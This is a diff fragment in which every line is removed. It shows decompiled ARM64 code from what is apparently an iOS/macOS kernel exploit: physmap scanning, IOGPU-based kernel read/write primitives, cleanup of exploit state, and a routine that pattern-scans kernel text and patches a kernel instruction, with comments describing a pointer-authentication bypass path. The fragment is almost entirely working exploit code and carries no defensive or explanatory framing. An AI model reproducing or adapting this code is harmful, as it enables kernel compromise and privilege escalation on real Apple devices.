-        goto LABEL_6;
-    }
-    v15 = &v8[v11];
-    v16 = v9 + v11;
-    v14 = ((v9 + v11 + 12) & 0xFFFFFFFFFFFFF000LL)
-        + (((unsigned __int64)*(unsigned int *)&v8[v11 + 16] >> 7) & 0x7FF8)
-        + 2LL * (((*(uint32_t *)&v8[v11 + 12] >> 18) & 0x1800) | (*(uint32_t *)&v8[v11 + 12] >> 5 << 13));
-    v13 = ((v16 - 20) & 0xFFFFFFFFFFFFF000LL)
-        + (((unsigned __int64)*((unsigned int *)v15 - 4) >> 7) & 0x7FF8)
-        + 2LL * (((*((uint32_t *)v15 - 5) >> 18) & 0x1800) | (*((uint32_t *)v15 - 5) >> 5 << 13));
-  }
-  else
-  {
-LABEL_7:
-    v13 = 0;
-    v14 = 0;
-  }
-  *a3 = v14;
-  *a4 = v13;
-  free(v8);
-}
-// 8F08: variable 'vars8' is possibly undefined
-
-//----- (0000000000008F18) ----------------------------------------------------
-void __fastcall scan_physmap_addr_range(uint64_t *a1, __int64 a2, int a3, uint64_t *a4)
-{
-  char *v8; // x21
-  unsigned __int64 v9; // x24
-  __int64 v10; // x22
-  unsigned __int64 v11; // x25
-  __int64 v12; // x23
-  unsigned __int64 v13; // x8
-  unsigned __int64 v14; // x9
-  unsigned __int64 v15; // x8
-
-  v8 = (char *)malloc(0x4000u);
-  if ( a2 == 0x10000000000LL )
-    v9 = 0xFFFF800000000000LL;
-  else
-    v9 = 0xFFFFFF8000000000LL;
-  v10 = (unsigned int)(a3 << 14) + a2;
-  v11 = 50331648;
-  v12 = v10 + 50331648;
-  while ( 2 )
-  {
-    physmap_read_aligned(a1, (v10 + v11) & -(__int64)vm_page_size, v8, 0x4000u);
-    v13 = 0;
-    do
-    {
-      if ( *(uint64_t *)&v8[v13 + 16] == v9 && *(uint64_t *)&v8[v13 + 24] == -1 )
-      {
-        *a4 = v12 + v13;
-        goto LABEL_12;
-      }
-      v14 = v13 >> 3;
-      v13 += 8LL;
-    }
-    while ( v14 < 0x7E3 );
-    v15 = v11 >> 14;
-    v11 += 0x4000LL;
-    v12 += 0x4000;
-    if ( v15 < 0xFFF )
-      continue;
-    break;
-  }
-LABEL_12:
-  free(v8);
-}
-// 9008: variable 'vars8' is possibly undefined
-
-//----- (0000000000009018) ----------------------------------------------------
-void *__fastcall setup_physmap_copy_structure(uint64_t *a1)
-{
-  __int16 v2; // w1
-  __int64 v3; // x1
-  unsigned __int64 v4; // x0
-  unsigned __int64 v5; // x0
-  void *result; // x0
-  __int64 v7; // [xsp+0h] [xbp-200h] BYREF
-  __int64 v8; // [xsp+8h] [xbp-1F8h] BYREF
-  unsigned __int64 v9; // [xsp+10h] [xbp-1F0h] BYREF
-  unsigned __int64 v10; // [xsp+18h] [xbp-1E8h] BYREF
-  uint8_t iogpuDesc[0xE0]; // [xsp+20h] [xbp-1E0h] BYREF
-  uint8_t physmapDesc[0xE0]; // [xsp+100h] [xbp-100h] BYREF
-  unsigned __int64 v33; // [xsp+1E0h] [xbp-20h] BYREF
-  uint32_t v34; // [xsp+1ECh] [xbp-14h] BYREF
-
-  v34 = 0;
-  physmap_read_dword(a1, a1[181], &v34);
-  v33 = 0;
-  scan_physmap_addr_range(a1, a1[180], v34, &v33);
-  memset(physmapDesc, 0, sizeof(physmapDesc));
-  physmap_read_aligned(a1, v33, physmapDesc, sizeof(physmapDesc));
-  v2 = *(int16_t *)&physmapDesc[0x40];
-  a1[164] = *(uint64_t *)&physmapDesc[0x08];
-  a1[165] = a1[182];
-  memset(iogpuDesc, 0, sizeof(iogpuDesc));
-  iogpu_kread_loop(a1, v2, (char *)iogpuDesc, sizeof(iogpuDesc));
-  v3 = *(uint64_t *)&iogpuDesc[0x48];
-  a1[166] = v3;
-  v9 = 0;
-  v10 = 0;
-  scan_physmap_overlap(a1, v3, &v10, &v9);
-  v8 = 0;
-  v4 = build_physmap_page_table(a1, v10);
-  physmap_read_aligned(a1, v4, &v8, 8u);
-  a1[167] = v8;
-  v7 = 0;
-  v5 = build_physmap_page_table(a1, v9);
-  result = physmap_read_aligned(a1, v5, &v7, 8u);
-  a1[168] = v7;
-  return result;
-}
-
-//----- (0000000000009150) ----------------------------------------------------
-__int64 __fastcall reset_physmap_copy_area(__int64 a1)
-{
-  vm_size_t v2; // x2
-  __int64 result; // x0
-  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF
-
-  vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 1080), *(uint64_t *)(a1 + 1096));
-  *(uint64_t *)(a1 + 1080) = 0;
-  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), *(uint64_t *)(a1 + 1088));
-  v2 = *(uint64_t *)(a1 + 1096);
-  address = *(uint64_t *)(a1 + 1088);
-  vm_allocate(mach_task_self_, &address, v2, 0x4000);
-  **(uint8_t **)(a1 + 1088) = 65;
-  result = vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 1088), *(uint64_t *)(a1 + 1096));
-  *(uint64_t *)(a1 + 1088) = 0;
-  return result;
-}
-
-//----- (00000000000091E0) ----------------------------------------------------
-__int64 __fastcall dealloc_krw_port_array(__int64 result, __int64 a2)
-{
-  __int64 v3; // x20
-  unsigned __int64 v4; // x21
-  __int64 v5; // x22
-
-  v3 = result;
-  v4 = 0;
-  v5 = a2 + 20;
-  do
-  {
-    if ( v4 < *(uint64_t *)(a2 + 32) )
-    {
-      (*(void (__fastcall **)(uint64_t, uint64_t))(v3 + 1472))(*(uint64_t *)(v3 + 1488), *(unsigned int *)(v5 + 4 * v4));
-      result = mach_port_deallocate(mach_task_self_, *(uint32_t *)(v5 + 4 * v4));
-      *(uint32_t *)(v5 + 4 * v4) = 0;
-    }
-    ++v4;
-  }
-  while ( v4 != 3 );
-  return result;
-}
-
-//----- (000000000000925C) ----------------------------------------------------
-void __fastcall cleanup_physmap_copy_entries(__int64 a1)
-{
-  __int64 v2; // x22
-  __int64 v3; // x25
-  __int64 v4; // x23
-  uint64_t *v5; // x20
-  __int64 v6; // x27
-  char v7; // w8
-  char v8; // w21
-  vm_address_t *v9; // x20
-  uint64_t v11[2]; // [xsp+8h] [xbp-68h]
-
-  v2 = 0;
-  v3 = a1 + 1128;
-  v4 = a1 + 1168;
-  v11[0] = a1 + 1128;
-  v11[1] = a1 + 1168;
-  while ( 1 )
-  {
-    while ( 1 )
-    {
-      v5 = *(uint64_t **)(v3 + 24);
-      if ( !v5 )
-        break;
-      *(uint64_t *)(v3 + 24) = *v5;
-      (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), v5[3]);
-      vm_deallocate(mach_task_self_, v5[3], 0x4000u);
-      v5[3] = 0;
-      dealloc_krw_port_array(a1, (__int64)(v5 + 2));
-      free(v5);
-    }
-    v6 = 0;
-    v7 = 1;
-    do
-    {
-      v8 = v7;
-      v9 = *(vm_address_t **)(v3 + 8 * v6);
-      dealloc_krw_port_array(a1, (__int64)(v9 + 2));
-      if ( v6 != *(uint64_t *)(v3 + 16) || v3 == v4 )
-      {
-        (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), v9[7]);
-        vm_deallocate(mach_task_self_, v9[7], 0xC000u);
-      }
-      free(v9);
-      v7 = 0;
-      v6 = 1;
-    }
-    while ( (v8 & 1) != 0 );
-    if ( ++v2 == 2 )
-      break;
-    v3 = v11[v2];
-  }
-}
-
-//----- (00000000000093B0) ----------------------------------------------------
-__int64 __fastcall dealloc_physmap_copy_slot(__int64 a1, __int64 a2)
-{
-  __int64 result; // x0
-
-  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), *(uint64_t *)(a2 + 24));
-  vm_deallocate(mach_task_self_, *(uint64_t *)(a2 + 24), 0x4000u);
-  *(uint64_t *)(a2 + 24) = 0;
-  result = vm_deallocate(mach_task_self_, *(uint64_t *)(a2 + 136), 0x18000u);
-  *(uint64_t *)(a2 + 136) = 0;
-  return result;
-}
-
-//----- (0000000000009410) ----------------------------------------------------
-__int64 __fastcall dealloc_physmap_2page_slot(__int64 a1, vm_address_t *a2)
-{
-  __int64 result; // x0
-
-  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[3]);
-  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[8]);
-  vm_deallocate(mach_task_self_, a2[3], 0x4000u);
-  a2[3] = 0;
-  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
-  a2[8] = 0;
-  vm_deallocate(mach_task_self_, a2[17], 0x18000u);
-  a2[17] = 0;
-  result = vm_deallocate(mach_task_self_, a2[18], 0x14000u);
-  a2[18] = 0;
-  return result;
-}
-
-//----- (00000000000094B0) ----------------------------------------------------
-__int64 __fastcall dealloc_physmap_3page_slot(__int64 a1, vm_address_t *a2)
-{
-  __int64 result; // x0
-
-  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[3]);
-  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[8]);
-  (*(void (__fastcall **)(uint64_t, vm_address_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[13]);
-  vm_deallocate(mach_task_self_, a2[3], 0x4000u);
-  a2[3] = 0;
-  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
-  a2[8] = 0;
-  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
-  a2[13] = 0;
-  vm_deallocate(mach_task_self_, a2[17], 0x18000u);
-  a2[17] = 0;
-  vm_deallocate(mach_task_self_, a2[18], 0x14000u);
-  a2[18] = 0;
-  result = vm_deallocate(mach_task_self_, a2[19], 0x10000u);
-  a2[19] = 0;
-  return result;
-}
-
-//----- (0000000000009588) ----------------------------------------------------
-__int64 __fastcall dealloc_iogpu_physmap_2(__int64 a1, uint64_t *a2)
-{
-  __int64 v4; // x20
-  __int64 v5; // x21
-  __int64 result; // x0
-  __int128 v7[16]; // [xsp+0h] [xbp-130h] BYREF
-
-  v4 = *(uint64_t *)(a1 + 1488);
-  (*(void (__fastcall **)(__int64, uint64_t))(a1 + 1464))(v4, a2[8]);
-  (*(void (__fastcall **)(uint64_t, uint64_t))(a1 + 1464))(*(uint64_t *)(a1 + 1488), a2[13]);
-  vm_deallocate(mach_task_self_, a2[8], 0x4000u);
-  a2[8] = 0;
-  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
-  a2[13] = 0;
-  v5 = a2[7] - *(uint64_t *)(a1 + 1344);
-  memset(v7, 0, sizeof(v7));
-  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v5, v7, 256, 1);
-  *((uint64_t *)&v7[4] + 1) = 0;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v5 + 72, (char *)&v7[4] + 8, 8, 1);
-  vm_deallocate(mach_task_self_, a2[20], 0x10000u);
-  a2[20] = 0;
-  vm_deallocate(mach_task_self_, a2[21], 0x10000u);
-  a2[21] = 0;
-  vm_deallocate(mach_task_self_, a2[22], 0x10000u);
-  a2[22] = 0;
-  result = vm_deallocate(mach_task_self_, a2[23], 0x10000u);
-  a2[23] = 0;
-  return result;
-}
-
-//----- (00000000000096D8) ----------------------------------------------------
-__int64 __fastcall dealloc_iogpu_physmap_entry(__int64 a1, uint64_t *a2)
-{
-  __int64 v4; // x20
-  __int64 v5; // x9
-  __int64 v6; // x22
-  __int64 v7; // x21
-  __int64 result; // x0
-  __int128 v9[16]; // [xsp+0h] [xbp-240h] BYREF
-  __int128 v10[16]; // [xsp+100h] [xbp-140h] BYREF
-
-  v4 = *(uint64_t *)(a1 + 1488);
-  (*(void (__fastcall **)(__int64, uint64_t))(a1 + 1464))(v4, a2[13]);
-  vm_deallocate(mach_task_self_, a2[13], 0x4000u);
-  a2[13] = 0;
-  v5 = *(uint64_t *)(a1 + 1344);
-  v6 = a2[2] - v5;
-  v7 = a2[12] - v5;
-  memset(v10, 0, sizeof(v10));
-  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v6, v10, 256, 1);
-  DWORD2(v10[2]) = 3;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v6 + 40, (char *)&v10[2] + 8, 4, 1);
-  memset(v9, 0, sizeof(v9));
-  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v4 + 48))(v4, v7, v9, 256, 1);
-  *((uint64_t *)&v9[4] + 1) = 0;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 64))(v4, v7 + 72, (char *)&v9[4] + 8, 8, 1);
-  vm_deallocate(mach_task_self_, a2[20], 0x4000u);
-  a2[20] = 0;
-  vm_deallocate(mach_task_self_, a2[21], 0x10000u);
-  a2[21] = 0;
-  vm_deallocate(mach_task_self_, a2[22], 0x10000u);
-  a2[22] = 0;
-  vm_deallocate(mach_task_self_, a2[23], 0x10000u);
-  a2[23] = 0;
-  vm_deallocate(mach_task_self_, a2[24], 0x10000u);
-  a2[24] = 0;
-  result = vm_deallocate(mach_task_self_, a2[25], 0x10000u);
-  a2[25] = 0;
-  return result;
-}
-
-//----- (00000000000098A4) ----------------------------------------------------
-__int64 __fastcall dealloc_iogpu_physmap_triple(__int64 a1, uint64_t *a2)
-{
-  __int64 v3; // x20
-  __int64 v4; // x9
-  __int64 v5; // x23
-  __int64 v6; // x22
-  __int64 v7; // x21
-  __int64 result; // x0
-  __int128 v9[16]; // [xsp+0h] [xbp-340h] BYREF
-  __int128 v10[16]; // [xsp+100h] [xbp-240h] BYREF
-  __int128 v11[16]; // [xsp+200h] [xbp-140h] BYREF
-
-  v3 = *(uint64_t *)(a1 + 1488);
-  v4 = *(uint64_t *)(a1 + 1344);
-  v5 = a2[2] - v4;
-  v6 = a2[7] - v4;
-  v7 = a2[12] - v4;
-  memset(v11, 0, sizeof(v11));
-  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v5, v11, 256, 1);
-  *((uint64_t *)&v11[4] + 1) = 0;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v5 + 72, (char *)&v11[4] + 8, 8, 1);
-  memset(v10, 0, sizeof(v10));
-  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v6, v10, 256, 1);
-  *((uint64_t *)&v10[4] + 1) = 0;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v6 + 72, (char *)&v10[4] + 8, 8, 1);
-  memset(v9, 0, sizeof(v9));
-  (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v7, v9, 256, 1);
-  *((uint64_t *)&v9[4] + 1) = 0;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 72, (char *)&v9[4] + 8, 8, 1);
-  *((uint64_t *)&v9[3] + 1) = 0;
-  (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(v3, v7 + 56, (char *)&v9[3] + 8, 8, 1);
-  vm_deallocate(mach_task_self_, a2[20], 0x4000u);
-  a2[20] = 0;
-  vm_deallocate(mach_task_self_, a2[26], 0x10000u);
-  a2[26] = 0;
-  vm_deallocate(mach_task_self_, a2[27], 0x10000u);
-  a2[27] = 0;
-  vm_deallocate(mach_task_self_, a2[28], 0x10000u);
-  a2[28] = 0;
-  result = vm_deallocate(mach_task_self_, a2[29], 0x10000u);
-  a2[29] = 0;
-  return result;
-}
-
-//----- (0000000000009AC0) ----------------------------------------------------
-void __fastcall cleanup_physmap_context(__int64 a1)
-{
-  __int64 v2; // x24
-  __int64 v3; // x20
-  vm_address_t **v4; // x27
-  vm_address_t *v5; // x21
-  vm_address_t *v6; // x26
-  uint64_t *v7; // x25
-  __int64 v8; // x9
-  __int64 v9; // x23
-  uint64_t *v10; // x28
-  __int64 v11; // x22
-  __int64 v12; // x21
-  __int64 v13; // x1
-  __int64 v14; // x21
-  vm_address_t *v15; // x21
-  __int64 v16; // [xsp+28h] [xbp-488h]
-  __int64 v17; // [xsp+30h] [xbp-480h]
-  uint64_t *v18; // [xsp+38h] [xbp-478h]
-  __int128 v19[16]; // [xsp+40h] [xbp-470h] BYREF
-  __int128 v20[16]; // [xsp+140h] [xbp-370h] BYREF
-  __int128 v21[16]; // [xsp+240h] [xbp-270h] BYREF
-  __int128 v22[16]; // [xsp+340h] [xbp-170h] BYREF
-  uint64_t v23[2]; // [xsp+440h] [xbp-70h]
-
-  v2 = 0;
-  v3 = *(uint64_t *)(a1 + 1488);
-  v4 = (vm_address_t **)(a1 + 1208);
-  v23[0] = a1 + 1208;
-  v23[1] = a1 + 1240;
-  v16 = a1 + 1240;
-  v17 = a1 + 1208;
-  while ( 1 )
-  {
-    while ( 1 )
-    {
-      v5 = v4[1];
-      if ( !v5 )
-        break;
-      v4[1] = (vm_address_t *)*v5;
-      switch ( v5[1] )
-      {
-        case 1uLL:
-          dealloc_physmap_copy_slot(a1, (__int64)v5);
-          break;
-        case 2uLL:
-          dealloc_physmap_2page_slot(a1, v5);
-          break;
-        case 3uLL:
-          dealloc_physmap_3page_slot(a1, v5);
-          break;
-        case 4uLL:
-          dealloc_iogpu_physmap_2(a1, v5);
-          break;
-        case 5uLL:
-          dealloc_iogpu_physmap_entry(a1, v5);
-          break;
-        case 6uLL:
-          dealloc_iogpu_physmap_triple(a1, v5);
-          break;
-        default:
-          break;
-      }
-      dealloc_krw_port_array(a1, (__int64)(v5 + 2));
-      dealloc_krw_port_array(a1, (__int64)(v5 + 7));
-      dealloc_krw_port_array(a1, (__int64)(v5 + 12));
-      free(v5);
-    }
-    v6 = *v4;
-    v7 = *v4 + 2;
-    v8 = *(uint64_t *)(a1 + 1344);
-    v9 = *v7 - v8;
-    v10 = *v4 + 7;
-    v11 = *v10 - v8;
-    v18 = *v4 + 12;
-    v12 = *v18 - v8;
-    memset(v22, 0, sizeof(v22));
-    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v9, v22, 256, 1);
-    *((uint64_t *)&v22[4] + 1) = 0;
-    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
-      v3,
-      v9 + 72,
-      (char *)&v22[4] + 8,
-      8,
-      1);
-    memset(v21, 0, sizeof(v21));
-    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v11, v21, 256, 1);
-    *((uint64_t *)&v21[4] + 1) = 0;
-    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
-      v3,
-      v11 + 72,
-      (char *)&v21[4] + 8,
-      8,
-      1);
-    memset(v20, 0, sizeof(v20));
-    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v12, v20, 256, 1);
-    *((uint64_t *)&v20[4] + 1) = 0;
-    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
-      v3,
-      v12 + 72,
-      (char *)&v20[4] + 8,
-      8,
-      1);
-    *((uint64_t *)&v20[3] + 1) = 0;
-    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
-      v3,
-      v12 + 56,
-      (char *)&v20[3] + 8,
-      8,
-      1);
-    if ( v4 == (vm_address_t **)v16 )
-    {
-      v14 = query_vm_region_nesting(v6[26]).object_id - *(uint64_t *)(a1 + 1344);
-      memset(v19, 0, sizeof(v19));
-      (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v14, v19, 256, 1);
-      DWORD2(v19[2]) = 2;
-      (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
-        v3,
-        v14 + 40,
-        (char *)&v19[2] + 8,
-        4,
-        1);
-    }
-    vm_deallocate(mach_task_self_, v6[28], 0x10000u);
-    v6[28] = 0;
-    vm_deallocate(mach_task_self_, v6[29], 0x10000u);
-    v6[29] = 0;
-    if ( v4 == (vm_address_t **)v17 )
-    {
-      vm_deallocate(mach_task_self_, v6[26], 0x10000u);
-      v6[26] = 0;
-      vm_deallocate(mach_task_self_, v6[27], 0x10000u);
-      v6[27] = 0;
-      vm_deallocate(mach_task_self_, v6[30], 0xC000u);
-      v6[30] = 0;
-      v15 = v6 + 31;
-    }
-    else
-    {
-      vm_deallocate(mach_task_self_, v6[26], 0xC000u);
-      v6[26] = 0;
-      v15 = v6 + 27;
-    }
-    vm_deallocate(mach_task_self_, *v15, 0xC000u);
-    *v15 = 0;
-    dealloc_krw_port_array(a1, (__int64)v7);
-    dealloc_krw_port_array(a1, (__int64)v10);
-    dealloc_krw_port_array(a1, (__int64)v18);
-    free(v6);
-    if ( ++v2 == 2 )
-      break;
-    v4 = (vm_address_t **)v23[v2];
-  }
-}
-// 9D9C: variable 'v13' is possibly undefined
-
-//----- (0000000000009F4C) ----------------------------------------------------
-__int64 __fastcall free_vm_page_array_list(__int64 a1)
-{
-  uint64_t *v2; // x0
-  __int64 (__fastcall *v3)(__int64, __int64); // x2
-  __int64 v4; // x0
-  __int64 v5; // x1
-
-  v2 = *(uint64_t **)a1;
-  if ( v2 )
-  {
-    do
-    {
-      *(uint64_t *)a1 = *v2;
-      deallocate_physmap_pages((__int64)v2);
-      v2 = *(uint64_t **)a1;
-    }
-    while ( *(uint64_t *)a1 );
-  }
-  vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 32), (*(uint64_t *)(a1 + 1432) << 14) + 49152LL);
-  *(uint64_t *)(a1 + 32) = 0;
-  reset_physmap_copy_area(a1);
-  cleanup_physmap_copy_entries(a1);
-  cleanup_physmap_context(a1);
-  atomic_load((unsigned __int8 *)(a1 + 1280));
-  atomic_load((unsigned __int8 *)(a1 + 1296));
-  v3 = *(__int64 (__fastcall **)(__int64, __int64))(a1 + 1480);
-  v4 = *(uint64_t *)(a1 + 1488);
-  v5 = *(uint64_t *)(a1 + 1360);
-  return v3(v4, v5);
-}
-// 9FE0: variable 'vars8' is possibly undefined
-
-//----- (0000000000009FF0) ----------------------------------------------------
-void __fastcall teardown_iogpu_vm_copy(vm_address_t *a1)
-{
-
-  a1[176] = 0;
-  vm_deallocate(mach_task_self_, a1[169], 0xC000u);
-  a1[169] = 0;
-  vm_deallocate(mach_task_self_, a1[170], 0xC000u);
-  a1[170] = 0;
-  vm_deallocate(mach_task_self_, a1[172], 0xC000u);
-  a1[172] = 0;
-  vm_deallocate(mach_task_self_, a1[173], 0xC000u);
-  a1[173] = 0;
-  vm_deallocate(mach_task_self_, a1[175], 0xC000u);
-  a1[175] = 0;
-  bzero(a1, 0x5E8u);
-  free(a1);
-}
-// A090: variable 'vars8' is possibly undefined
-
-//----- (000000000000A0A0) ----------------------------------------------------
-__int64 __fastcall necp_send_msg_1(struct_krwCtx *krwCtx)
-{
-  uint64_t textRange[3]; // [xsp+0h] [xbp-A0h] BYREF
-  uint64_t textRange2[3]; // [xsp+18h] [xbp-88h] BYREF
-  int doubledPatchCount; // [xsp+34h] [xbp-6Ch] BYREF
-  unsigned __int64 patchedInstruction; // [xsp+38h] [xbp-68h] BYREF
-  int headerMagic; // [xsp+40h] [xbp-60h] BYREF
-  int patchCount; // [xsp+44h] [xbp-5Ch] BYREF
-  __int64 dispatchTarget; // [xsp+48h] [xbp-58h] BYREF
-  __int64 selfCheckValue; // [xsp+50h] [xbp-50h] BYREF
-  __int64 dataPointer; // [xsp+58h] [xbp-48h] BYREF
-
-  dataPointer = 0;
-  dispatchTarget = 0;
-  selfCheckValue = 0;
-
-  macho_find_text_section(krwCtx->kernelMachoCtx, textRange2);
-
-  // 08 3D 40 92: and x8, x8, #0xffff
-  // 09 18 80 52: mov w9, #0xc0
-  // This lands inside the kernel routine whose nearby literal/data slots drive
-  // the vmcopy PAC-bypass notification path used below.
-  __int64 maskPattern = kernel_pattern_scan((__int64)textRange2, "08 3D 40 92 09 18 80 52", 0);
-  if ( !maskPattern )
-    return 708625;
-
-  unsigned __int64 ownerFunction = find_kernel_func_aligned((__int64 *)krwCtx->kernelMachoCtx, maskPattern + 8);
-  if ( !ownerFunction )
-    return 708625;
-
-  unsigned __int64 selfCheckSlot = ownerFunction + 7104;
-  if ( !kread_physmap_decorated(krwCtx, selfCheckSlot, (unsigned __int64 *)&selfCheckValue) )
-    return 163855;
-  if ( selfCheckSlot != selfCheckValue )
-    return 163878;
-
-  if ( !kread_physmap_decorated(krwCtx, ownerFunction + 7120, (unsigned __int64 *)&dataPointer) )
-    return 163855;
-  if ( (unsigned __int64)(dataPointer + 0x1000000000000LL) > 0xFFFFFFFFEFFELL )
-    return 163878;
-
-  if ( !(unsigned int)krw_read_thunk(krwCtx, dataPointer, 4, &headerMagic) )
-    return 163855;
-  if ( headerMagic != 1864396150 )
-    return 163857;
-
-  unsigned __int64 dispatchTargetSlot = ownerFunction + 7168;
-  if ( !kread_physmap_decorated(krwCtx, dispatchTargetSlot, (unsigned __int64 *)&dispatchTarget) )
-    return 163855;
-  if ( validate_kaddr_range(krwCtx, dispatchTarget) )
-    return 0;
-
-  macho_find_text_section(krwCtx->kernelMachoCtx, textRange);
-
-  // 1F 01 0A EB: cmp x8, x10
-  // 41 00 00 54: b.ne +0x8
-  // C0 03 5F D6: ret
-  // The found function is patched briefly so the notification path resolves
-  // the PAC-authenticated dispatch target, then the side effect is checked.
-  __int64 retComparePattern =
-    kernel_pattern_scan((__int64)textRange, "1F 01 0A EB 41 00 00 54 C0 03 5F D6 .. .. .. F9", 0);
-  if ( !retComparePattern )
-    return 708625;
-
-  __int64 *patchFunction = (__int64 *)find_kernel_func((__int64 *)krwCtx->kernelMachoCtx, (__int64 *)(retComparePattern - 8));
-  if ( !patchFunction )
-    return 708625;
-
-  __int64 patchCountSlot = ownerFunction + 7272;
-  if ( !(unsigned int)krw_read_thunk(krwCtx, patchCountSlot, 4, &patchCount) )
-    return 163855;
-  if ( !patchCount )
-    return 163857;
-
-  doubledPatchCount = 2 * patchCount;
-  __int64 patchGateSlot = ownerFunction + 7176;
-  if ( !(unsigned int)kwrite_with_retry(krwCtx, patchGateSlot, (__int64)&doubledPatchCount, 4) )
-    return 163856;
-
-  patchedInstruction = macho_read_u64((__int64 *)krwCtx->kernelMachoCtx, patchFunction) + 52428;
-  if ( !(unsigned int)kwrite_with_retry(krwCtx, (__int64)patchFunction, (__int64)&patchedInstruction, 4) )
-    return 163856;
-
-  semaphore_timedwait_ns(krwCtx, 0x1312D0u);
-  if ( !kread_physmap_decorated(krwCtx, dispatchTargetSlot, (unsigned __int64 *)&dispatchTarget) )
-    return 163855;
-
-  doubledPatchCount = 0;
-  if ( !validate_kaddr_range(krwCtx, dispatchTarget)
-    && !(unsigned int)kwrite_with_retry(krwCtx, patchGateSlot, (__int64)&doubledPatchCount, 4) )
-  {
-    return 163856;
-  }
-
-  if ( (unsigned int)krw_read_thunk(krwCtx, patchCountSlot, 4, &patchCount) )
-    return 0;
-  return 163855;
-}
-// A0A0: too many cbuild loops
-
-//----- (000000000000A354) ----------------------------------------------------
-__int64 __fastcall iogpu_kread(struct_krwCtx *krwCtx, __int16 a2, char *a3, unsigned int a4, int a5)
-{
-  uint64_t *v5; // x21
-  __int64 result; // x0
-  int v10; // [xsp+Ch] [xbp-24h] BYREF
-
-  v10 = -1;
-  v5 = krwCtx->iogpuCtx;
-  if ( !v5 )
-    return 708609;
-  if ( a5 )
-  {
-    result = fd_open_dev_null(&v10);
-    if ( (uint32_t)result )
-      return result;
-    iogpu_kread_loop(v5, a2, a3, a4);
-    fd_close(v10);
-  }
-  else
-  {
-    iogpu_kread_loop((uint64_t *)krwCtx->iogpuCtx, a2, a3, a4);
-  }
-  return 0;
-}
-
-//----- (000000000000A3F0) ----------------------------------------------------
-__int64 __fastcall iogpu_kwrite(struct_krwCtx *krwCtx, __int16 a2, char *a3, unsigned int a4, int a5)
-{
-  uint64_t *v5; // x21
-  __int64 result; // x0
-  int v10; // [xsp+Ch] [xbp-24h] BYREF
-
-  v10 = -1;
-  v5 = (uint64_t *)krwCtx->iogpuCtx;
-  if ( !v5 )
-    return 708609;
-  if ( a5 )
-  {
-    result = fd_open_dev_null(&v10);
-    if ( (uint32_t)result )
-      return result;
-    iogpu_kwrite_loop(v5, a3, a2, a4);
-    fd_close(v10);
-  }
-  else
-  {
-    iogpu_kwrite_loop((uint64_t *)krwCtx->iogpuCtx, a3, a2, a4);
-  }
-  return 0;
-}
-
-//----- (000000000000A48C) ----------------------------------------------------
-__int64 __fastcall iogpu_kread2(struct_krwCtx *krwCtx, unsigned __int64 a2, void *a3, unsigned int a4, int a5)
-{
-  __int64 result; // x0
-  uint64_t *v7; // x21
-  size_t v10; // x22
-  int v11; // [xsp+Ch] [xbp-24h] BYREF
-
-  result = 708609;
-  v11 = -1;
-  v7 = (uint64_t *)krwCtx->iogpuCtx;
-  if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size )
-  {
-    v10 = a4;
-    if ( a5 )
-    {
-      result = fd_open_dev_null(&v11);
-      if ( (uint32_t)result )
-        return result;
-      physmap_read_aligned(v7, a2, a3, v10);
-      fd_close(v11);
-    }
-    else
-    {
-      physmap_read_aligned(v7, a2, a3, a4);
-    }
-    return 0;
-  }
-  return result;
-}
-
-//----- (000000000000A550) ----------------------------------------------------
